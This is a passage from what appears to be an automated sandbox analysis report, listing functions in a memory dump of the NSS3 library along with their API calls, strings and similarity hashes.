memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CC4A583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CC4A596
free.MOZGLUE(?), ref: 6CC4A5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC4A5B6

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID:
API String ID: 3906949479-0
Opcode ID: 81d0c2f3ae0941dcf6450d47bba1e9074e7baf81627bfbbd1e99ea449999848c
Instruction ID: b4a2fc6ca2ad5c5cbe13b67f99096bf049555e33e042622b8dc1920f6bb079f2
Opcode Fuzzy Hash: 81d0c2f3ae0941dcf6450d47bba1e9074e7baf81627bfbbd1e99ea449999848c
Instruction Fuzzy Hash: 9A41E671A046429FDB10DF59CD40B9ABBB1BF80308F19C468DC595BB92F731E919C7A1

Function 6CD0A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

EnterCriticalSection.KERNEL32(?), ref: 6CD0A712
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A76D

Part of subcall function 6CCB70F0: LeaveCriticalSection.KERNEL32(6CD00C7B), ref: 6CCB710D

calloc.MOZGLUE(00000001,0000000C), ref: 6CD0A779
_PR_CreateThread.NSS3(00000000,6CD09EA0,?,00000001,00000001,00000000,?,00000000), ref: 6CD0A79B
free.MOZGLUE(00000000), ref: 6CD0A7AB
EnterCriticalSection.KERNEL32(?), ref: 6CD0A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD0A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A824

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: 254f52f0dc40fba6999242bae21930de1151605fc0df01abf75e5d2786e54480
Instruction ID: c725efa81faa49f95e24173e084a49d5449f6858d266c1c2b5f7d1f18ec80021
Opcode Fuzzy Hash: 254f52f0dc40fba6999242bae21930de1151605fc0df01abf75e5d2786e54480
Instruction Fuzzy Hash: 75414CB59006019FD710DF69C88095BB7F8FF59209B148A2AD85DD7B21F731F859CBA0

Function 6CC388E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC388FC

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38913

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CD1D864,?), ref: 6CC38947

Part of subcall function 6CC4E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC4E245
Part of subcall function 6CC4E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC4E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC3895B
DER_GetInteger_Util.NSS3(?), ref: 6CC38973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC38982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC389EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC38A12

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction ID: 0e22db4576c109e6e7b756e10d54aac16a73a7140c7e9b9e24e252ab4b047cef
Opcode Fuzzy Hash: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction Fuzzy Hash: F13159B1A0472057FB105639BC41FAA72959F9132CF241B37E92DD7B81FB32C45A8293

Function 6CC366B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6CC366D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6CC366FB

Part of subcall function 6CC54540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6CC36725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6CC54581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CC3673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CC36757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CC3676E
memcpy.VCRUNTIME140(6CC2C79F,?,?,?,?,?,00000010,00000000), ref: 6CC36781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6CC3679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6CC367BC

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: 0bae34aecfc07eec10cc92f1bae7ab8deac697b162a186d3eeb30ee3140ec6d2
Instruction ID: 474b48897b96fbd51ff8b305d4e06cdfa681de5c6a2a5893f4ec2c6a78abfbb1
Opcode Fuzzy Hash: 0bae34aecfc07eec10cc92f1bae7ab8deac697b162a186d3eeb30ee3140ec6d2
Instruction Fuzzy Hash: DC31EA72900215AFDB11DFA8EC459AF77B8FF85308B440429E8489B740F732A929C7E2

Function 6CC14E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC14E90
EnterCriticalSection.KERNEL32 ref: 6CC14EA9
TlsGetValue.KERNEL32 ref: 6CC14EC6
EnterCriticalSection.KERNEL32 ref: 6CC14EDF
PL_HashTableLookup.NSS3 ref: 6CC14EF8
PR_Unlock.NSS3 ref: 6CC14F05
PR_Now.NSS3 ref: 6CC14F13
PR_Unlock.NSS3 ref: 6CC14F3A

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction ID: 817739cc78d1e1f399d7aa0d8f93e2f70ff1a679fea1d7f521794334fe38beb5
Opcode Fuzzy Hash: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction Fuzzy Hash: 62415DB4A046059FDB00EF79C08486AFBF4FF49348B118569DD599B711EB30E895CF91

Function 6CC9A7D0 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000002C,00000000,6CC82AE9,?,6CC9A98D,?,?,?,?), ref: 6CC9A7D7

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

SECITEM_CopyItem_Util.NSS3(00000000,-00000014,?,0000065C), ref: 6CC9A80B

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CC9A82E

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CC9A845
SECITEM_ZfreeItem_Util.NSS3(-00000014,00000000,?,?,?,?,?,0000065C), ref: 6CC9A857
free.MOZGLUE(00000000,?,?,?,?,?,?,?,0000065C), ref: 6CC9A860
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,0000065C), ref: 6CC9A81E

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE013,00000000,0000065C), ref: 6CC9A872

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: UtilValue$Alloc_CriticalEnterErrorFreeItem_K11_Sectionfree$ArenaCopyUnlockZfreecallocmemcpymemset
String ID:
API String ID: 1855126447-0
Opcode ID: 9011b44bb6d5fe3a1a78d54a7f18ed1b9a19d830ab90116fb8e0a5bd77c6c99e
Instruction ID: 6d80fabf2d824c123c099c15718c374a00998dba52961a2ac9035db0446adc68
Opcode Fuzzy Hash: 9011b44bb6d5fe3a1a78d54a7f18ed1b9a19d830ab90116fb8e0a5bd77c6c99e
Instruction Fuzzy Hash: 6A1106B1E007016BFB209E6AAC05F477798AF8075CF108438ED0E97B81F730E41A86A6

Function 6CBE65D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBE670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CBE2B2C), ref: 6CBE675E
EnterCriticalSection.KERNEL32(?), ref: 6CBE678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CBE2B2C), ref: 6CBE67E1

Strings

winUnmapfile2, xrefs: 6CBE698B
winUnmapfile1, xrefs: 6CBE6964
winClose, xrefs: 6CBE68C5

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: 1a87af98ca1922037965ce5c628ab5d24a83674785d14c575bb5abc8a4f9883c
Instruction ID: b7db5606625c821195c3959c1f91e1ffc5e18a4975586948fa30ac6b8f2b89fd
Opcode Fuzzy Hash: 1a87af98ca1922037965ce5c628ab5d24a83674785d14c575bb5abc8a4f9883c
Instruction Fuzzy Hash: 13A1A335B01154DFFF08EF24E888A6A3778FF4AB5AB544169DB06D7A40DB349840CB93

Function 6CB74F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB751BB

Strings

misuse, xrefs: 6CB751AF
unable to delete/modify user-function due to active statements, xrefs: 6CB751DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB751A5
%s at line %d of [%.10s], xrefs: 6CB751B4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction ID: 91075e8e275c5ced4ed8ffd64e8745b0e076266b95c78c19999bedf14ff4ec24
Opcode Fuzzy Hash: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction Fuzzy Hash: B171BE71B0424A9BEB10CF25CC84B9A77B9FF48309F044524FD299BA81D335E959CBB2

Function 6CB8A630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6CD51308,?,?,6CB86ABD,00000000), ref: 6CB8A6B7
LeaveCriticalSection.KERNEL32(?), ref: 6CB8A70A
EnterCriticalSection.KERNEL32(?,00000000,6CD51308,?,?,6CB86ABD,00000000), ref: 6CB8A73A
LeaveCriticalSection.KERNEL32(?), ref: 6CB8A78D
EnterCriticalSection.KERNEL32(?,00000000,6CD51308,?,?,6CB86ABD,00000000), ref: 6CB8A7CA
LeaveCriticalSection.KERNEL32(?), ref: 6CB8A821
sqlite3_free.NSS3(?,00000000,6CD51308,?,?,6CB86ABD,00000000), ref: 6CB8A8A6

Part of subcall function 6CB79EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB8C6FD,?,?,?,?,6CBDF965,00000000), ref: 6CB79F0E
Part of subcall function 6CB79EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBDF965,00000000), ref: 6CB79F5D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: 25485704950ef9c281e71de26686a07d9498d47cf1c46ae4a4337bf725aa4e4b
Instruction ID: a280b7d6ca466fe97c4227462107d553398890a02eaed0d9bab19cecc43ef94a
Opcode Fuzzy Hash: 25485704950ef9c281e71de26686a07d9498d47cf1c46ae4a4337bf725aa4e4b
Instruction Fuzzy Hash: 98619235701540DBFB08EF64D988A267379FB4631ABA8422DD71647E80DB39E842DF93

Function 6CBF8620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6CBF7310,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8684

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6CBF7304,?,?,?,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF86D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6CBF7310,00000004,00000000,?,6CBF8A20,00000004,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8656

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6CBF7310,00000004,00000000,?,6CBF8A20,00000004,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8763
PORT_ArenaGrow_Util.NSS3(00000000,6CBF8A20,?,?,00000000,6CBF7310,00000004,00000000,?,6CBF8A20,00000004,00000000,6CBF7310,?,?,00000004), ref: 6CBF8795

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: d3f6dd88a0469dab6c4376c0d4b5a126b8db99bdf6b78060f0fde41c6ee6769f
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 7041E571500250AFE7008F26CC04B5B7769EF6235CF158156EC258B751F772E91ACBD2

Function 6CC3AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC35

Part of subcall function 6CC1CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC1CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC55

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E,?,?), ref: 6CC3AC70

Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E33C
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E350
Part of subcall function 6CC1E300: PR_Unlock.NSS3(?), ref: 6CC1E5BC
Part of subcall function 6CC1E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC1E5CA
Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E5F2
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E606
Part of subcall function 6CC1E300: PORT_Alloc_Util.NSS3(?), ref: 6CC1E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC3AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E), ref: 6CC3ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC3AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC3AD2B

Part of subcall function 6CC1F360: TlsGetValue.KERNEL32(00000000,?,6CC3A904,?), ref: 6CC1F38B
Part of subcall function 6CC1F360: EnterCriticalSection.KERNEL32(?,?,?,6CC3A904,?), ref: 6CC1F3A0
Part of subcall function 6CC1F360: PR_Unlock.NSS3(?,?,?,?,6CC3A904,?), ref: 6CC1F3D3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
